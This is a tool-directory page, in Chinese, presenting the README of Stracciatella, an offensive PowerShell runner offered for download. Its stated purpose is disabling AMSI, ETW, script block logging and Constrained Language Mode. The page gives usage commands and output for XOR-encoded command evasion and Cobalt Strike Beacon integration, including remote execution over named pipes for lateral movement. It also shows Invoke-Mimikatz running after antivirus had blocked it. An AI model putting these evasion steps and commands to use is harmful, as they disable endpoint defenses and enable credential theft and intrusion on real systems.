Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Stracciatella — 从 C# 内部启动的 OpSec 安全 Powershell runspace(又名 SharpPick),在启动时禁用 AMSI、约束语言模式和脚本块日志记录 | Kitploit
工具/GitHubGitHub/mgeeky/stracciatella
权限提升漏洞利用框架IDS/IPS规避横向移动脚本与自动化后渗透利用渗透测试命令与控制红队Payload 开发
GitHubmgeeky/stracciatella

Stracciatella

54362744年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

从 C# 内部启动的 OpSec 安全 Powershell runspace(又名 SharpPick),在启动时禁用 AMSI、约束语言模式和脚本块日志记录

查看仓库

Stracciatella v0.7

从C#内部运行的PowerShell runspace(又名SharpPick技术),已禁用AMSI、ETW和脚本块日志记录,为您提供便利。

如今,当PowerShell通过使用如下技术遭到严重检测时:

  • AMSI
  • ETW
  • 脚本块日志记录
  • 转录文件
  • 模块日志记录
  • 约束语言模式

高级攻击者必须找到绕过这些措施的方法,以便提供复杂的对抗性模拟演练。为了协助这些努力,创建了以下项目。

此程序构建在针对特定技术的绕过方法之上,这些方法包含在:

  • Disable-Amsi.ps1
  • KillETW.ps1 by tandasat
  • Disable-ScriptLogging.ps1

而这些又基于以下研究:

  • Matt Graeber:https://github.com/mattifestation/PSReflect
  • Matt Graeber:https://twitter.com/mattifestation/status/735261120487772160
  • Avi Gimpel:https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
  • Adam Chester:https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
  • Ryan Cobb:https://cobbr.io/ScriptBlock-Logging-Bypass.html
  • Ryan Cobb:https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html

SharpPick 的想法,即通过使用 Runspaces 从 C# 程序集内部启动 PowerShell 脚本,也并非新鲜事物,首次由 Lee Christensen(@tifkin_)在其作品中实现:

  • UnmanagedPowerShell

此外,源代码借用了 Lee 的 CustomPSHost 实现。

此项目继承了上述研究和伟大的安全社区,以提供一个接近于有效的 PowerShell 环境,在启动时禁用防御措施。

现在可以轻松编译为 .NET 4.0,而如果使用 .NET Framework 4.7.1+ 编译,则会包含附加功能,允许卸载构成 CLM 绕过工件的 DLL,并尝试在之后删除它们(说实话效果有限)。

使用 .NET 4.0 编译的 Stracciatella 效果最佳。

OpSec

  • 此程序提供即时解码传递参数的功能,使用单字节 XOR 解码
  • 在启动任何命令之前,确保使用两种方法禁用 AMSI 和 ETW
  • 在启动任何命令之前,确保使用两种方法禁用脚本块日志记录
  • 此程序不修补任何系统库、系统本机代码(例如 amsi.dll)
  • 已尽力不长时间存储解码后的脚本/命令,以保护自身免受 EDR 和 AV 所采用的内存转储技术的影响

用法

有几种选项可用:

root@kitploit:~
PS D:\> Stracciatella -h

  :: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

用法:stracciatella.exe [选项] [命令]
  -s <路径>, --script <路径> - 包含要执行的 PowerShell 脚本的文件路径。如果未给出选项,将进入
                               伪 shell 循环。也可以是 HTTP(S) URL,用于下载并执行 PowerShell 脚本。
  -v, --verbose              - 打印详细信息
  -n, --nocleanup            - 不删除 CLM 禁用残留物(TEMP 中的 DLL 文件和 COM 注册表项)。
                               默认情况下将始终删除这些。
  -C, --leaveclm             - 不尝试禁用 CLM。更隐蔽。将避免留下未删除的 CLM 禁用工件。
  -f, --force                - 即使 PowerShell 防御未禁用,也继续执行。
                               默认情况下,失败时退出。
  -c, --command              - 执行指定的命令。您可以使用 -c 或在 stracciatella 参数后附加命令:cmd> straciatella ipconfig /all
                               如果同时给出了命令和脚本参数,则在运行脚本后执行命令。
  -x <密钥>, --xor <密钥>      - 将输入视为 XOR 编码,其中 <密钥> 是十进制的一个字节密钥
                               (十六进制前加 0x)
  -p <名称>, --pipe <名称>   - 从指定的命名管道读取 PowerShell 命令。命令前必须加上 4 个字节的
                               长度,以小端序编码(长度-值表示法)。
  -t <毫秒>, --timeout <毫秒>
                             - 指定管道读取操作的超时时间(毫秒)。默认值:60 秒。0 - 无限。
  -e, --cmdalsoencoded       - 也将输入命令(通过 '--command' 指定)视为已编码。
                               在解码并运行输入脚本文件后,解码输入命令。
                               默认情况下,我们只解码输入文件,并将命令视为明文。

该程序接受命令和脚本文件路径作为输入。两者都是可选的,如果都没有给出,将启动伪 shell。 命令和脚本都可以进一步使用单字节 XOR 编码(将输出 Base64 编码),以获得更好的 OpSec 体验。

以下是几个用例示例:

  1. 伪 shell - 当未给出命令和脚本路径选项时启动:
root@kitploit:~
PS D:\> Stracciatella.exe -v

  :: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

[.] PowerShell 版本:5.1
[.] 语言模式:FullLanguage
[+] 无需禁用约束语言模式。已处于 FullLanguage。
[+] 脚本块日志记录已禁用。
[+] AMSI 已禁用。
[+] ETW 已禁用。

Stracciatella D:\> $PSVersionTable

名称                          值
----                           -----
PSVersion                      5.1.18362.1
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.18362.1
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
  1. XOR 编码(密钥 = 0x31)的命令和脚本文件路径

首先,为了准备编码后的语句,我们可以使用附带的 encoder.py 脚本,其用法如下:

root@kitploit:~
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>

positional arguments:
  command               指定用于编码的命令或脚本文件路径

optional arguments:
  -h, --help            显示此帮助信息并退出
  -x KEY, --xor KEY     指定命令/文件的 XOR 编码密钥(一个字节)
  -o PATH, --output PATH
                        (可选)输出文件。如果未给出,则将输出回显到 stdout

PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU

然后将 encoder.py 的输出作为 Stracciatella 的编码命令输入:

root@kitploit:~
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1

  :: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

[.] 将加载脚本文件:'.\Test2.ps1'
[+] AMSI 已禁用。
[+] ETW 已禁用。
[+] 脚本块日志记录已禁用。
[.] 语言模式:FullLanguage

PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage

其中:

  • Command 由以下命令构成:Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))
  • Test2.ps1 - 包含:"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))

Cobalt Strike 支持

Stracciatella 附带一个 Aggressor 脚本,加载后会在 Beacon 控制台中暴露 stracciatella 命令。用法与 powerpick 非常相似(通过 stracciatella-import 预先导入 PowerShell 脚本)。输入参数将使用随机密钥进行 XOR 处理,并通过随机命名的管道传递到 Stracciatella 的 runspace。

以下 Cobalt Strike 命令可用:

使用 Stracciatella 的一种策略可以是配置足够长的管道读取超时时间(1),然后在远程机器上启动它(2),从而在 Stracciatella 的帮助下通过命名管道实现横向移动。

与 powerpick 相比,优势在于 Stracciatella 不像 Powerpick 那样修补 AMSI.dll(AmsiScanBuffer 修补),从而可能产生更少的取证噪音,因为 EDR 会寻找内存中的补丁。此外,Stracciatella 最终将能够稳定地绕过 约束语言模式,而目前使用 powerpick 无法实现这一点:

root@kitploit:~
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes

beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:

Forest                  : contoso.local
DomainControllers       : {dc.contoso.local}
Children                : {us.eu.contoso.local}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : contoso.local
PdcRoleOwner            : dc.eu.contoso.local
RidRoleOwner            : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name                    : eu.contoso.local

最后,Stracciatella 可以轻松地被其他不提供绕过 PowerShell 保护功能的工具/C2 使用。

每当 stracciatella 返回错误 2(ERROR_FILE_NOT_FOUND)时,是因为 Stracciatella 在内部等待数据写入其命名管道时超时。

root@kitploit:~
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.

但可以通过使用以下命令调整 Stracciatella 的超时参数来解决:

root@kitploit:~
beacon> stracciatella-timeout 600000

beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:

ComputerName  IPAddress 
------------  --------- 
dc1.bank.corp 10.10.10.5

关联的 aggressor 脚本利用内部 Beacon 例程写入随机命名的管道,而 Stracciatella 的逻辑将在另一端监听该管道。接收端将在一段时间内等待入站数据(Stracciatella 选项中的 --timeout 参数,默认为 60 秒),如果没有数据,将超时并优雅地中止。否则,收到的命令将被解码并正常执行。

有时我们有一些 PowerShell 脚本,它们没有暴露任何函数,或者我们需要从一个 PowerShell 运行时中反射性地加载 .NET 模块。为了支持这种用例,可以使用 stracciatella-script <脚本路径> <命令> Beacon 命令。它会读取指定的 PowerShell 脚本文件,并将给定的 <命令>(以分号分隔)附加到该脚本中。

BOF.NET 支持

Stracciatella 的 Aggressor 脚本(CNA)会检测是否加载了 BOF.NET,如果是,则暴露一个命令:

bofnet_loadstracciatella

该命令执行 bofnet_load stracciatella.exe。此外,Stracciatella 将使用 bofnet_jobassembly 而不是 Cobalt 内置的 execute-assembly 运行。

该行为可以通过修改 stracciatella.cna 脚本中的全局变量来调整:

root@kitploit:~
#
# 如果 Cobalt Strike 中加载了 BOF.NET,则优先使用 `bofnet_jobassembly` 命令而不是 `execute-assembly`。
# 当我们希望通过 BOF.NET 切换为内联/进程内运行而不是 fork & run 策略时,这很有用。
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";

如何禁用 AMSI 和脚本块日志记录?

通过使用反射,由 Matt Graeber 发现,但该程序的方法略有修改。我们不通过名称(如 "amsiInitFailed")引用符号,而是遍历所有可通过反射获取的程序集、方法、类型和字段来查找它们。然后通过操作 Management.Automation 程序集中的非公共和静态变量来禁用 AMSI。脚本块日志记录也是如此,其部分思路基于 Ryan Cobb(@cobbr)的研究。

实际上,Stracciatella 使用了与我上面提到的 Disable-*.ps1 文件中相同的实现。

此外,我们不尝试修补 amsi.dll,这有点太嘈杂,可能在不久的将来会被 EDR/HIPS/AV 密切监控。与反射性变量篡改相比,破坏系统库的完整性显然站不住脚。

让我看看 Invoke-Mimikatz 好吗?

当然,请看:

root@kitploit:~
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被您的防病毒软件阻止。
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被您的防病毒软件阻止。
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> .\Stracciatella.exe -v

  :: Stracciatella - 禁用 AMSI 和脚本块日志记录的 PowerShell runspace。
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

[-] 似乎没有给出脚本路径。
[+] AMSI 已禁用。
[+] ETW 已禁用。
[+] 脚本块日志记录已禁用。
[.] 语言模式:FullLanguage

Stracciatella D:\> . .\Invoke-Mimikatz.ps1

Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'

mimikatz(powershell) # exit
Bye!

已知问题,待办事项

目前,Stracciatella 为 PowerShell 命令提供 runspace 的方式并非最隐蔽的。我们基本上创建了一个 PowerShell runspace,它会加载相应的 .NET 程序集。这可能被视为 Stracciatella 的进程有些可疑的标志。

  • 目前无法完全清理 CLM 禁用工件:正在使用的 DLL 文件,留在 %TEMP% 中。
  • 实现滚动 XOR,使用 2、3 和 4 字节长的密钥。
  • 实现更多的编码/加密策略,尤其是使用环境密钥的策略。
  • 添加 Tab 自动补全和对上/下箭头的支持(前提是明文命令不会存储在 Stracciatella 的内存中)。
  • 添加彩色输出。
  • 脚本块日志记录绕过 可能不适用于 Windows Server 2016 和 Windows 10,如此处所述。

致谢

  • Ryan Cobb, @cobbr
  • Matt Graeber, @mattifestation
  • Adam Chester, @xpn
  • Avi Gimpel
  • Lee Christensen, @tifkin_

☕ 表示支持 ☕

此项目和其他项目是无数不眠之夜和大量辛勤工作的成果。如果您喜欢我所做的,并感谢我始终回馈社区, 请考虑请我喝杯咖啡 (或者更好,来杯啤酒) 只是为了说声谢谢!💪


作者

root@kitploit:~
   Mariusz Banach / mgeeky, '20-22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)
下载工具
Cobalt Strike 命令描述
stracciatella [-v] <命令>执行给定的命令
stracciatella-remote [-v] <机器> <管道名> <命令>在远程机器的指定管道上执行给定的命令
stracciatella-import <脚本路径>导入一个 PowerShell 脚本以供 Stracciatella 使用
stracciatella-script <脚本路径> <命令>使用指定的 PowerShell (ps1) 脚本预加载 PowerShell 命令(stracciatella-import 和 stracciatella 的单次组合操作)
stracciatella-clear清除该 Beacon 上已导入的脚本
stracciatella-timeout <毫秒>调整默认的命名管道读取超时
bofnet_loadstracciatella将 Stracciatella.exe 加载到 BOF.NET 中(如果使用)
bofnet_stracciatella <命令>(非阻塞)通过 BOF.NET 的 bofnet_jobassembly 在安全的 Stracciatella runspace 中运行 PowerShell 命令
bofnet_executestracciatella <命令>(阻塞)通过 BOF.NET 的 bofnet_executeassembly 在安全的 Stracciatella runspace 中运行 PowerShell 命令
bofnet_stracciatella_script <脚本路径> <命令>预加载指定的 PowerShell 脚本并使用参数运行给定命令(通过 BOF.NET)